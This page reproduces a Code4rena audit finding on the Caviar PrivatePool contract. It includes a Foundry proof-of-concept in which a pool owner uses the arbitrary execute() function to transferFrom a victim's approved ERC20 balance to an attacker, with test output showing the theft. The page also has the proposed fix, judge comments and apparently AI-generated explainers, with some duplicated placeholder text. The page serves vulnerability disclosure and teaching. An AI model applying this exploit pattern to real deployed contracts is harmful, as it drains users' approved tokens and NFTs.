PrivatePool owner can steal all ERC20 and NFT from user via arbitrary execution
The PrivatePool contract's execute function lets the pool owner make arbitrary calls to any contract, so a malicious owner can use a user's token approvals to the pool to transfer the user's ERC20 tokens or NFTs to themselves. The report demonstrates stealing an ERC20 balance after the victim approved the pool.
In the current implementation of the PrivatePool.sol, the function execute is meant to claim airdrop, however, we cannot assume the owner is trusted because anyone can permissionlessly create private pool.
/// @notice Executes a transaction from the pool account to a target contract. The caller must be the owner of the
/// pool. This allows for use cases such as claiming airdrops.
/// @param target The address of the target contract.
/// @param data The data to send to the target contract.
/// @return returnData The return data of the transaction.
function execute(address target, bytes memory data) public payable onlyOwner returns (bytes memory) {
// call the target with the value and data
(bool success, bytes memory returnData) = target.call{value: msg.value}(data);
// if the call succeeded return the return data
if (success) return returnData;
// if we got an error bubble up the error message
if (returnData.length > 0) {
// solhint-disable-next-line no-inline-assembly
assembly {
let returnData_size := mload(returnData)
revert(add(32, returnData), returnData_size)
}
} else {
revert();
}
}
The owner of private pool can easily steal all ERC20 token and NFT from the user’s wallet after the user gives approval to the PrivatePool contract and the user has to give the approval to the pool to let the PrivatePool pull ERC20 token and NFT from the user when user buy or sell or change from EthRouter or directly calling PrivatePool.
The POC below shows, the owner of the PrivatePool can carefully craft payload to steal funds via arbitrary execution.
After user’s apporval, the target can be an ERC20 token address or a NFT address, the call data can be the payload of transferFrom or function.
Please add the code to Execute.t.sol so we can create a mock token:
contract MyToken is ERC20 {
constructor() ERC20("MyToken", "MTK", 18) {}
function mint(address to, uint256 amount) public {
_mint(to, amount);
}
}
Please add the POC below to Execute.t.sol:
function testStealFundArbitrary_POC() public {
MyToken token = new MyToken();
address victim = vm.addr(1040341830);
address hacker = vm.addr(14141231201);
token.mint(victim, 100000 ether);
vm.prank(victim);
token.approve(address(privatePool), type(uint256).max);
console.log(
"token balance of victim before hack",
token.balanceOf(victim)
);
address target = address(token);
bytes memory data = abi.encodeWithSelector(
ERC20.transferFrom.selector,
victim,
hacker,
token.balanceOf(victim)
);
privatePool.execute(target, data);
console.log(
"token balance of victim after hack",
token.balanceOf(victim)
);
}
We run the POC, the output is:
PS D:\2023Security\2023-04-caviar> forge test -vv --match "testStealFundArbitrary_POC"
[⠒] Compiling...
[⠑] Compiling 1 files with 0.8.19
[⠃] Solc 0.8.19 finished in 8.09s
Compiler run successful
Running 1 test for test/PrivatePool/Execute.t.sol:ExecuteTest
[PASS] testStealFundArbitrary_POC() (gas: 753699)
Logs:
token balance of victim before hack 100000000000000000000000
token balance of victim after hack 0
As we can see, the victim’s ERC20 token are stolen.
Recommended Mitigation Steps
We recommend the protocol not let the private pool owner perform arbtirary execution. The private pool can use the flashloan to claim the airdrop himself.
The proposed fix is to revert if execute tries to call the baseToken or nft contract. It’s very unlikely a user will approve any other token than these to the pool so this serves as a sufficient check to prevent the stealing outlined in the exploit.
if (target == address(baseToken) || target == address(nft)) revert InvalidTarget();
@GalloDaSballo - The exploit is not about the owner having ownership over owned deposits but rather about stealing non-deposited user funds.
For example,
Alice wants to sell her Milady 123. She also holds Milady 555 and 111.
She approves the PrivatePool to spend all of her Miladies so that she can subsequently call “sell()”
The malicious owner of the pool then calls “execute()” multiple times with a payload that calls the Milady contract and transferFrom to transfer all of her Miladies (123, 555, 111) from her wallet
Alice has now lost all of her Miladies. The same also applies to baseToken approvals when Alice wants to buy some NFTs.
The proposed fix is to prevent execute() from being able to call the baseToken or nft contracts so that the above example can never occur.
The Warden has shown how, because of thesetApprovalForAll pattern, mixed with the execute function, a PrivatePool may be used to harvest approvals from users, causing them to lose all tokens.
I have considered downgrading the finding because of the Router technically providing a safety check against the pool.
The original report as published on Code4rena, by ladboy233. Images and videos are our own copies; raw HTML is shown as text. View it on Code4rena.
Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.
Generating the AI write-up for this report.
This usually takes about 30 seconds. You can read the original meanwhile; this page updates itself.
Writing the technical write-up
Writing the version for beginners
Checking every passage against the original
How it worked
Root cause
The execute function allows the owner to call any target contract with arbitrary data, including token contracts where the pool has been approved to spend user funds.
Impact
A malicious pool owner could steal all ERC20 tokens and NFTs that a user has approved to the pool, though the judge noted the Router provides a safety check against direct pool approvals.
What the attacker needed
Victim approves the pool to spend tokens or NFTs; attacker is the pool owner; pool is permissionlessly created
The fix
The execute function was fixed to revert if the target is the pool's baseToken or nft contract.
How it was found
Create a mock ERC20 token and mint a balance to a victim address.
Have the victim approve the PrivatePool contract to spend their tokens.
As the pool owner, call execute with the token contract as target and transferFrom data moving the victim's tokens to the attacker.
Observe the victim's token balance drop to zero.
Explained by bugbounty.wiki with AI from the original and checked against quotes from it; it can still be wrong. Read the original before relying on a detail.
Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.
Generating the AI write-up for this report.
This usually takes about 30 seconds. You can read the original meanwhile; this page updates itself.
Writing the technical write-up
Writing the version for beginners
Checking every passage against the original
A private pool is a smart contract that lets people trade NFTs and tokens. Users approve the pool to move their tokens or NFTs so they can trade. The pool owner could abuse that approval to move the user's assets to themselves, because the pool has a function that lets the owner call any contract with any data.
What is Access control?
A user can do something their role should not allow: reach an admin function, act on a feature they have not paid for, or skip a permission check. IDOR is the special case where the object belongs to someone else.
A user can do something their role should not allow: reach an admin function, act on a feature they have not paid for, or skip a permission check. IDOR is the special case where the object belongs to someone else.